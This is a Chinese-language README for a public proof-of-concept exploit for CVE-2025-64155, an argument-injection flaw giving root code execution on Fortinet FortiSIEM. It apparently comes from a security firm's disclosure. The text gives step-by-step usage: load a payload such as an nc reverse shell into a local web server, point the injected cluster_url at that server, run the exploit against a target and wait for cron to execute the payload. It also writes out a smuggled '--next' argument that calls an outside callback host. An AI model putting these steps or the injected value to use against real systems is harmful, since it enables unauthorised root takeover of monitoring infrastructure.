CVE-2025-64155：Fortinet FortiSIEM 参数注入导致远程代码执行

PoC 漏洞利用程序，针对 Fortinet FortiSIEM，滥用参数注入写入文件以获得 root 权限下的代码执行

博客文章

详细分析见： Horizon3.ai - CVE-2025-64155：远程获取 Fortinet FortiSIEM 根权限的三年之路

注意

利用此问题覆盖应用程序文件可能导致系统不稳定。请谨慎使用。 可以通过编辑 cluster_url 为以下内容来无害地执行检查：<cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

用法

1. 在 Web 服务器 serve.py 中将 payload 编辑为所需载荷（例如 nc 反向 shell）
2. 将 CVE-2025-64155.py 中的 cluster_url 指向运行 serve.py 的服务器的基本 URL（例如 http://10.0.40.83:9200）
3. 运行 Web 服务器 serve.py
4. 运行漏洞利用程序 CVE-2025-64155.py
5. 等待大约 1 分钟，让 cron 作业执行 payload

% python3 CVE-2025-64155.py -h
usage: CVE-2025-64155.py [-h] -t TARGET [-p PORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -p PORT, --port PORT  The port of the Phoenix Monitor service

关注 Horizon3.ai 攻击团队在 Twitter 上获取最新安全研究：

• Horizon3 攻击团队
• James Horseman
• Zach Hanley

免责声明

本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非明确授权，否则不应用于攻击系统。项目维护者对软件的滥用不承担任何责任。请负责任地使用。